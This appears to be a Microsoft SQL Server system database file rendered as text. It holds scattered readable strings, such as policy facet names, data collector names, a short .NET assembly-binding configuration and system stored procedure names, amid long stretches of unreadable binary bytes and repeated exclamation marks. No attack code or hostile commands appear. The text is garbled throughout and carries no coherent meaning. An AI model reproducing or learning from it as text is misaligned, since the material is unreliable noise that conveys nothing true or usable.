@?@@?A?@@@@@?@????@?@@????@????!??<g0<" "0<"$W\?@D@>F'@D?B?0<" "@@@KA A@PA?R@@@U@?V@A@@@@Y@A@@[@?\@@@^A?_ A?`A@@b@A@ @M@@@+@@@OA?_@@ @L@@?֣A@?bA@?9KA?iMA??N]?	A@`@\@?@@@?&n@?0 A@@Z@?e!@@@@A?>A?2PA?@??$@A@@x.P@@?34@@@|@@@?u@A@ @zPA??
^A@@1RA@@OjA@@?0A?" A@@?]!@@?]($@@@PE&A@ @'@@UU@4A*@@?Г3,@A?,A@@@@	'-A?-A?Q.pA?/@@`@&m1A@@@@_2A?Dj3A?n3A@@}^4A@UU?R5A@@
G6@??C"6`A@@?R<p7@@@aV/8A?`d80A?j8A@`@9@@@L:@A@E;A?o4<0A?T<A0Aj@I>A?^?AAA@A?AA?ApB@@@@wBA@@@@(C@@@p7DA@@UGTEA@@eEA?u}F@?F0A@@GA?0HA@@@@TȚH0A?~HA?IPA@@ 
K@@@4wKA?)?K@@@bcLA?q}_MA@@SNA?GO@A@`@U0QA?eQPA@@2$R@@@fS@@@rUA@ @WPA?rW@@@X@@@0XA?@[Y@@@VTY@@@x[@@@׶l\ A@@@+]@?`] A@@@@d]PA?^@@ @^@@@@=`pA@@@@Qr`A@?HaA?a@@`@b@@@@NcA?ȃc@?ucA@@dPA?epA@UU@!eB@UU@tOg?@ @h@@@iA?iA@@@XjA@@=yk@@UU@l@?(l0A@ @MmPA@@?<qn0A@@!Jo`A@@uo@@`@sp@@ @gq@??q@@@ r@A@@s@@@Y&s@??h@Dt@@@Tt0A?wZu@@@@@xu@@@.vA?Xv@@@?gw@@@?vIxA@@x@@UU@	syA@UU@<8z@@@?KR[{ A?u\{PA?X{@@@@@Zl|@@@|@@`@}@@@`@x}@@@7~A@@?~@@@@@?@?>H[,@e o?0@W}?	0z@#*E?Q@T@F@ƭ@0<"$[%I=@0D@ksp-BWl@?C B?D ,B?F A?FN@@?IFA?ITC?P  B?PKB?S @?SQA?TRB?U 0A?UQA?V -((C D F ITP KS TRU QV @	

LZS@\?@@`c@@l@0<" "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			~	m?pF	`<QFW)0<)$M[Pf>rn#;999}	B1E@A@@8Of}5Lcz2I`w		/	F	]	t							
,
C
Z
q






)@Wn&=Tk
#
:
Q
h






	 7Ne|4Kby1H_v.E\s+BYp(?Vm%<Sj"9Pg~6Md{3JaxPA?A?A?0A?@?@@@@@@@@@B?A?A?pA? A?0A?@A@@"A?) A A A+A?, A@@.@@@0PA@@2@A?30A?6A?7A?8A@@:@@@<A?> A??A?@@@@CA?D@?EAA@I@@@KA A@PA?R@@@U@?V@A@@@@Y@A@@[@?\@@@^A?_ A?`A@@b@A@ @M@@@+@@@OA?_@@ @L@@?֣A@?bA@?9KA?iMA??N]?	A@`@\@?@@@?&n@?0 A@@Z@?e!@@@@A?>A?2PA?@??$@A@@x.P@@?34@@@|@@@?u@A@ @zPA??
^A@@1RA@@OjA@@?0A?" A@@?]!@@?]($@@@PE&A@ @'@@UU@4A*@@?Г3,@A?,A@@@@	'-A?-A?Q.pA?/@@`@&m1A@@@@_2A?Dj3A?n3A@@}^4A@UU?R5A@@
G6@??C"6`A@@?R<p7@@@aV/8A?`d80A?j8A@`@9@@@L:@A@E;A?o4<0A?T<A0Aj@I>A?^?AAA@A?AA?ApB@@@@wBA@@@@(C@@@p7DA@@UGTEA@@eEA?u}F@?F0A@@GA?0HA@@@@TȚH0A?~HA?IPA@@ 
K@@@4wKA?)?K@@@bcLA?q}_MA@@SNA?GO@A@`@U0QA?eQPA@@2$R@@@fS@@@rUA@ @WPA?rW@@@X@@@0XA?@[Y@@@VTY@@@x[@@@׶l\ A@@@+]@?`] A@@@@d]PA?^@@ @^@@@@=`pA@@@@Qr`A@?HaA?a@@`@b@@@@NcA?ȃc@?ucA@@dPA?epA@UU@!eB@UU@tOg?@ @h@@@iA?iA@@@XjA@@=yk@@UU@l@?(l0A@ @MmPA@@?<qn0A@@!Jo`A@@uo@@`@sp@@ @gq@??q@@@ r@A@@s@@@Y&s@??h@Dt@@@Tt0A?wZu@@@@@xu@@@.vA?Xv@@@?gw@@@?vIxA@@x@@UU@	syA@UU@<8z@@@?KR[{ A?u\{PA?X{@@@@@Zl|@@@|@@`@}@@@`@x}@@@7~A@@?~@@@@@?@?>H[,@e o?0@W}?8ZЈ@TL?=@đ@A%X?!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!(Jd`x<iIg-0<Xv "0<Xv "0<x "0<x "0<)z "0<)z "0<)z$"[d[[[?A4<..@B@p(?Vm%<Sj"9Pg~6Md{??????????????	??????
??????????????????????????????!???#???%???'???)???+???-???/???1???3???5???7???9???;???=???????A???C???E???G???I???K???M???O???Q???S???U???W???Y???[[0<ix "0<ix$g6\>A@@A?G=0??%Enabled0??CHistoryRetentionInDays0??/LogOnSuccess(()EnabledHistoryRetentionInDaysLogOnSuccess@0<@w "?1BrokerService0??-Certificate0??'Computer0??+Credential0??ACryptographicProvider0??'Database0???;DatabaseDdlTrigger0???DatabaseReplicaState0??/DatabaseRole0??'DataFile0??%Default0??-DeployedDac0??'Endpoint0??)FileGroup0??5FullTextCatalog0??1FullTextIndex0??7FullTextStopList0??EIAvailabilityGroupState0??IIDatabaseMaintenanceFacet0??7IDatabaseOptions0??IIDatabasePerformanceFacet0??CIDatabaseSecurityFacet0??IIDataFilePerformanceFacet0??GILogFilePerformanceFacet0??1ILoginOptions0??=IMultipartNameFacet0??+INameFacet0??!Index0??9IServerAuditFacet0??IIServerConfigurationFacet0??;IServerInformation0??EIServerPerformanceFacet0??OIServerProtocolSettingsFacet0???IServerSecurityFacet0??AIServerSelectionFacet0??5IServerSettings0??9IServerSetupFacet0??kISurfaceAreaConfigurationForAnalysisServer0??qISurfaceAreaConfigurationForReportingServices0??9ISurfaceAreaFacet0???/IUserOptions0??/IViewOptions0??/LinkedServer0??%LogFile0??!Login0??-MessageType0??9PartitionFunction0??5PartitionScheme0???)Processor0???RemoteServiceBinding0??7ResourceGovernor0??/ResourcePool0??Rule0??#Schema0??;SearchPropertyList0??'Sequence0??#Server0???7ServerDdlTrigger0??+ServerRole0??5ServiceContract0??/ServiceQueue0??/ServiceRoute0??)Statistic0??5StoredProcedure0??/SymmetricKey0??%Synonym0??!Table0??%Trigger0??User0???=UserDefinedDataType0??=UserDefinedFunction0???UserDefinedTableType0??5UserDefinedType0??%Utility0??View0??#Volume0???=XmlSchemaCollection((ApplicationRoleBrokerPriorityDatabaseeployedDacIAvailabilityGroupStateLoginOptionsServerInformationurfaceAreaConfigurationForAnalysisServerLinkedServerProcessorSearchPropertyListrviceQueueTableUserDefinedType@
%/0F@RS(c	
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l.N0Lz\> jpjHN,
,pG`+<qIIR
3t0<X "0<X "0<+\ "0<+\ "0<d] "0<d] "0<7_ "0<\` "0<\` "0<Ha "0<Ha "0<ȃc "0<ȃc "0<wd "0<,le "0<e5`f "0<=yk "0<Z>p "0<Z>p "0<s "0<Z>p$+[? A?A+3 ??Kw8QJŽt0<J~[ "0<=yk "0<=yk$/[?> HBAAB+3 A?Kw8QJŽt0<=yk$0[>BAB@}4i0??=PerfCountersCollect0??;PerfCountersUpload0???QueryActivityCollect0??=QueryActivityUpload0??5SqlTraceCollect0??3SqlTraceUpload0??7TSQLQueryCollect0??5TSQLQueryUpload((LPerfCountersCollectUploadQueryActivityCollectSqlTraceCollectTSQLQueryCollect
@
&-5@	<E0<=yk "0<=yk$5[?> AAA
0Sv ??TE
N"z]pf ??['A&Mn} ??8n9HIsP9 ??ɟFMK"olB ???h#H7= ???(=Gy.v0<.^`"0<.^`"<<e "<<e "0<e "0<e "0<e "0<e "<<Pj "<<Pj "0<Pj "0<Pj "0<Pj "0<Pj "0<\ "0<\ "0<\ "0<vM` "0<vM` "0<vM` "0<>o3h "0<v "0<v "0<2`Xu "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'m^<pN}[,;
9`
<6^Ɩ0e" 8~M0<configuration><system.net><defaultProxy><proxy enabled="false" /></defaultProxy></system.net><runtime><assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"><dependentAssembly><assemblyIdentity name="Microsoft.SqlServer.Types" publicKeyToken="89845dcd8080cc91"/><bindingRedirect oldVersion="10.0.0.0" newVersion="11.0.0.0"/></dependentAssembly></assemblyBinding></runtime></configuration>0&0
 Z4microsoft.sqlserver.types.dll
00< "0jn h4[dbo].[sp_ExternalMailQueueListener]0W V4[dbo].[sp_sysmail_activate]0\ju`d4[dbo].[sp_syspolicy_events_reader]0! >4systemdbsig.dll!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!